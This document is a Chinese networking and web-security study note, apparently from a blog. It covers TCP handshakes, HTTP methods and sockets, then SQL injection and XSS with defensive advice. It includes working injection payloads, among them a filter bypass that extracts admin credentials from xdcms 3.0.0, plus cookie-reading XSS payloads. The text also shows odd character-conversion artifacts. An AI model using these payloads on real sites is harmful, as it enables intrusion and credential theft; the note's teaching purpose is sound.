TCP在傳輸以前會進行三次溝通,通常稱爲「三次握手」,傳完數據斷開的時候要進行四次溝通,通常稱爲「四次揮手」。git
兩個序號和三個標誌位:web
(1)序號:seq序號,佔32位,用來標識從TCP源端向目的端發送的字節流,發起方發送數據時對此進行標記。
(2)確認序號:ack序號,佔32位,只有ACK標誌位爲1時,確認序號字段纔有效,ack=seq+1。
(3)標誌位:共6個,即URG、ACK、PSH、RST、SYN、FIN等,具體含義以下:
(A)URG:緊急指針(urgent pointer)有效。
(B)ACK:確認序號有效。
(C)PSH:接收方應該儘快將這個報文交給應用層。
(D)RST:重置鏈接。
(E)SYN:發起一個新鏈接。
(F)FIN:釋放一個鏈接。
須要注意的是:
(A)不要將確認序號ack與標誌位中的ACK搞混了。
(B)確認方ack=發起方req+1,兩端配對。面試
在第一次消息發送中,A隨機選取一個序列號做爲本身的初始序號發送給B;第二次消息B使用ack對A的數據包進行確認,
由於已經收到了序列號爲x的數據包,準備接收序列號爲x+1的包,因此ack=x+1,同時B告訴A本身的初始序列號,就是seq=y;
第三條消息A告訴B收到了B的確認消息並準備創建鏈接,A本身此條消息的序列號是x+1,因此seq=x+1,而ack=y+1是表示A正準備接收B序列號爲y+1的數據包。
四次揮手:
因爲TCP鏈接時全雙工的,所以,每一個方向都必需要單獨進行關閉,這一原則是當一方完成數據發送任務後,發送一個FIN來終止這一方向的鏈接,
收到一個FIN只是意味着這一方向上沒有數據流動了,即不會再收到數據了,可是在這個TCP鏈接上仍然可以發送數據,直到這一方向也發送了FIN。
首先進行關閉的一方將執行主動關閉,而另外一方則執行被動關閉,上圖描述的便是如此。
(1)第一次揮手:Client發送一個FIN,用來關閉Client到Server的數據傳送,Client進入FIN_WAIT_1狀態。
(2)第二次揮手:Server收到FIN後,發送一個ACK給Client,確認序號爲收到序號+1(與SYN相同,一個FIN佔用一個序號),Server進入CLOSE_WAIT狀態。
(3)第三次揮手:Server發送一個FIN,用來關閉Server到Client的數據傳送,Server進入LAST_ACK狀態。
(4)第四次揮手:Client收到FIN後,Client進入TIME_WAIT狀態,接着發送一個ACK給Server,確認序號爲收到序號+1,Server進入CLOSED狀態,完成四次揮手。
(1)三次握手是什麼或者流程?四次握手呢?答案前面分析就是。
(2)爲何創建鏈接是三次握手,而關閉鏈接倒是四次揮手呢?
這是由於服務端在LISTEN狀態下,收到創建鏈接請求的SYN報文後,把ACK和SYN放在一個報文裏發送給客戶端。而關閉鏈接時,收到對方的FIN報文時,
僅僅表示對方再也不發送數據了可是還能接收數據,己方也未必所有數據都發送給對方了,因此己方能夠當即close,也能夠發送一些數據給對方後,
再發送FIN報文給對方來表示贊成如今關閉鏈接,所以,己方ACK和FIN通常都會分開發送。
爲何TIME_WAIT狀態須要通過2MSL(最大報文段生存時間)才能返回到CLOSE狀態?
不該該是爲了防止B發送的FIN=1的包的丟失,由於若是A沒有收到來自B的釋放鏈接請求,是不會進入TIME-WAIT狀態的。
因此正確的解釋是:A發送的確認釋放鏈接信息B沒有收到,這時候B會再次發送一個FIN=1的釋放鏈接請求,而這個時候A還處於TIME-WAIT,因此能夠再次發送確認信息
標準Http協議支持六種請求方法
一、GET GET能夠說是最多見的了,它本質就是發送一個請求來取得服務器上的某一資源。資源經過一組HTTP頭和呈現據(如HTML文本,或者圖片或者視頻等)返回給客戶端。GET請求中,永遠不會包含呈現數據。
二、POST 向服務器提交數據。這個方法用途普遍,幾乎目前全部的提交操做都是靠這個完成。
三、PUT 這個方法比較少見。HTML表單也不支持這個。本質上來說, PUT和POST極爲類似,都是向服務器發送數據,但它們之間有一個重要區別,PUT一般指定了資源的存放位置,而POST則沒有,POST的數據存放位置由服務器本身決定。
四、Delete 刪除某一個資源。基本上這個也不多見,不過仍是有一些地方好比amazon的S3雲服務裏面就用的這個方法來刪除資源。
五、HEAD HEAD和GET本質是同樣的,區別在於HEAD不含有呈現數據,而僅僅是HTTP頭信息。有的人可能以爲這個方法沒什麼用,其實不是這樣的。想象一個業務情景:欲判斷某個資源是否存在,咱們一般使用GET,但這裏用HEAD則意義更加明確。
六、Options 它用於獲取當前URL所支持的方法。若請求成功,則它會在HTTP頭中包含一個名爲「Allow」的頭,值是所支持的方法,如「GET, POST」。
http請求頭
通常狀況:
Accept
Accept-Encoding
Accept-Language
Connection
Cookie
Host
Referer
User-Agent
socket原理
Socket鏈接,至少須要一對套接字,分爲clientSocket,serverSocket.鏈接分爲3個步驟:
服務器監聽:服務器並不定位具體客戶端的套接字,而是時刻處於監聽狀態.
客戶端請求:客戶端的套接字要描述它要鏈接的服務器的套接字.提供地址和端口號,而後向服務器套接字提出鏈接請求.
鏈接確認:當服務器套接字收到客戶端套接字發來的請求後,就響應客戶端套接字的請求,並創建一個新的線程,把服務器端的套接字的描述發給客戶端,一旦客戶端確認了此描述,就正式創建鏈接.而服務器套接字繼續處於監聽狀態,繼續接收其餘客戶端套接字的鏈接請求.
客戶端:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #定義socket類型,網絡通訊,TCP s.connect((HOST,PORT)) #要鏈接的IP與端口
TCP與UDP的區別
1.基於鏈接與無鏈接;
2.對系統資源的要求(TCP較多,UDP少);
3.UDP程序結構較簡單;
4.流模式與數據報模式 ;
5.TCP保證數據正確性,UDP可能丟包,TCP保證數據順序,UDP不保證。
WEB安全技術
SQL注入漏洞
SQL注入漏洞的造成緣由:用戶輸入的數據被SQL解釋器執行
SQL的注入類型有如下5種:
- Boolean-based blind SQL injection(布爾型注入)
- Error-based SQL injection(報錯型注入)
- UNION query SQL injection(可聯合查詢注入)
- Stacked queries SQL injection(可多語句查詢注入)
- Time-based blind SQL injection(基於時間延遲注入)
Boolean-based blind SQL injection(布爾型注入)
經過判斷頁面返回狀況得到想要的信息。
以下SQL注入: http://hello.com/view?id=1 and substring(version(),1,1)=5
若是服務端MySQL版本是5.X的話,那麼頁面返回的內容就會跟正常請求同樣。攻擊者就能夠經過這種方式獲取到MySQL的各種信息。
Error-based SQL injection(報錯型注入)
若是頁面可以輸出SQL報錯信息,則能夠從報錯信息中得到想要的信息。
典型的就是利用group by的duplicate entry錯誤。關於這個錯誤,貌似是MySQL存在的 bug
以下SQL注入: http://hello.com/view?id=1%20AND%20(SELECT%207506%20FROM(SELECT%20COUNT(*),CONCAT(0x717a707a71,(SELECT%20MID((IFNULL(CAST(schema_name%20
AS%20CHAR),0x20)),1,54)%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20
LIMIT%202,1),0x7178786271,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_
SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)
在拋出的SQL錯誤中會包含這樣的信息: Duplicate entry 'qzpzqttqxxbq1' for key 'group_key'
,其中qzpzq和qxxbq分別是0x717a707a71和0x7178786271,用這兩個字符串包住了tt(即數據庫名),是爲了方便sql注入程序從返回的錯誤內容中提取出信息。
UNION query SQL injection(可聯合查詢注入)
最快捷的方法,經過UNION查詢獲取到全部想要的數據,前提是請求返回後能輸出SQL執行後查詢到的全部內容。
以下SQL注入:http://hello.com/view?id=1 UNION ALL SELECT SCHEMA_NAME, DEFAULT_CHARACTER_SET_NAME FROM INFORMATION_SCHEMA.SCHEMATA
Stacked queries SQL injection(可多語句查詢注入)
即可以執行多條查詢語句,很是危險,由於這意味着可以對數據庫直接作更新操做。
以下SQL注入:http://hello.com/view?id=1;update t1 set content = 'aaaaaaaaa'
在第二次請求 http://hello.com/view?id=1
時,會發現全部的content都被設置爲aaaaaaaaa了。
Time-based blind SQL injection(基於時間延遲注入)
頁面不會返回錯誤信息,不會輸出UNION注入所查出來的泄露的信息。相似搜索這類請求,boolean注入也無能爲力,由於搜索返回空也屬於正常的,這時就得采用time-based的注入了,即判斷請求響應的時間,但該類型注入獲取信息的速度很是慢。
以下SQL注入:http://hello.com/view?q=abc' AND (SELECT * FROM (SELECT(SLEEP(5)))VCVe) OR 1 = '
該請求會使MySQL的查詢睡眠5S,攻擊者能夠經過添加條件判斷到SQL中,好比IF(substring(version(),1,1)=5, sleep(5), ‘t’) AS value就能作到相似boolean注入的效果,若是睡眠了5s,那麼說明MySQL版本爲5,不然不是,但這種方式獲取信息的速度就會很慢了,由於要作很是多的判斷,而且須要花時間等待,不斷地去測試出相應的值出來。
SQL注入解決方案
解決SQL注入問題的關鍵是對全部可能來自用戶輸入的數據進行嚴格的檢查、對數據庫配置使用最小權限原則。
常用的方案有:
全部的查詢語句都使用數據庫提供的參數化查詢接口,參數化的語句使用參數而不是將用戶輸入變量嵌入到SQL語句中。當前幾乎全部的數據庫系統都提供了參數化SQL語句執行接口,使用此接口能夠很是有效的防止SQL注入攻擊。
對進入數據庫的特殊字符('"\<>&*;等)進行轉義處理,或編碼轉換。特殊符號過濾或轉義處理。以PHP爲例,一般是採用 addslashes() 函數,它會在指定的預約義字符前添加反斜槓轉義,這些預約義的字符是:單引號 (') 雙引號 (") 反斜槓 (\) NULL。
確認每種數據的類型,好比數字型的數據就必須是數字,數據庫中的存儲字段必須對應爲int型。
數據長度應該嚴格規定,能在必定程度上防止比較長的SQL注入語句沒法正確執行。
網站每一個數據層的編碼統一,建議所有使用UTF-8編碼,上下層編碼不一致有可能致使一些過濾模型被繞過。(MYSQL用GBK的編碼時,寬字節注入:輸入%df’時通過addslashes轉義變成 %dF%5C%27 在經過GBK編碼後變成 運’)嚴格限制網站用戶的數據庫的操做權限,給此用戶提供可以知足其工做的權限,從而最大限度的減小注入攻擊對數據庫的危害。
避免網站顯示SQL錯誤信息,好比類型錯誤、字段不匹配等,防止攻擊者利用這些錯誤信息進行一些判斷。
在網站發佈以前建議使用一些專業的SQL注入檢測工具進行檢測,及時修補這些SQL注入漏洞。
這裏咱們看一下通常的CMS是怎麼過濾的,通常會寫一個函數,用的時候直接調用,我之前審計過的一篇文章(http://www.cnblogs.com/Oran9e/p/7944859.html)
xdcms_3.0.0 存在SQL注入漏洞,過濾的話是把所過濾的關鍵字都寫在一個函數 safe_html ()函數
function safe_html($str){ if(empty($str)){return;} $str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file |outfile/','',$str); return htmlspecialchars($str); }
分析一下這個過濾函數,只是簡單的把上面看到的 select ,insert,update 等等替換成了空 。
在 safe_html 處雖然過了個SQL注入的敏感詞,還過濾了=和*,可是沒有考慮SQL注入敏感詞的大小寫,這裏只過濾了小寫,那麼咱們用大寫繞過,這裏過濾的=和*,咱們可使用不帶*和=的常規保存SQL注入語句
這裏利用報錯注入來進行測試,bestorange' or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange
payload:username=bestorange' or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange&password2=bestorange&fields%5Btruename%5D=bestorange&fields%5Bemail%5D=bestorange&submit=+%E6%B3%A8+%E5%86%8C+
XSS漏洞
反射型:
一些經常使用的payload:
"/><script>confirm(1234)</script> '><style/onl<meta>oad=alert(/orange/)%2b' </textarea> <svg/onload="alert(1)"> <img src="javascript:alert('XSS')"> "><img src=hi onerror=alert(1)> <svg onload=alert(1)> <svg onload=alert(document.cookie)> <IFRAME src=javascript:alert('52')></IFRAME>
存儲型:
反射型XSS與DOM型XSS都必須依靠用戶手動去觸發,而存儲型XSS卻不須要。
基於DOM的跨站腳本XSS:經過訪問document.URL 或者document.location執行一些客戶端邏輯的javascript代碼。不依賴發送給服務器的數據。
DOM包含一個對象叫document,document裏面有個URL屬性,這個屬性裏填充着當前頁面的URL。當解析器到達javascript代碼,它會執行它而且修改你的HTML頁面。假若代碼中引用了document.URL,那麼,這部分字符串將會在解析時嵌入到HTML中,而後當即解析,同時,javascript代碼會找到(alert(…))而且在同一個頁面執行它,這就產生了xss的條件。IE6下沒有轉換<和>
<HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to our system … </HTML>
DOM型XSS是前端代碼中存在了漏洞,而反射型是後端代碼中存在了漏洞。反射型和存儲型xss是服務器端代碼漏洞形成的
存儲型XSS其實和反射型XSS差很少,只是存儲型把數據保存到服務端,而反射型只是讓XSS遊走在客戶端上
XSS防護的整體思路是:對輸入(和URL參數)進行過濾,對輸出進行編碼。
也就是對提交的全部內容進行過濾,對url中的參數進行過濾,過濾掉會致使腳本執行的相關內容;而後對動態輸出到頁面的內容進行html編碼,使腳本沒法在瀏覽器中執行。雖然對輸入過濾能夠被繞過,可是也仍是會攔截很大一部分的XSS攻擊。
XSS 通常讀取用戶瀏覽器中的Cookie,而若是在服務器端對 Cookie 設置了HttpOnly 屬性,那麼就不能讀取到cookie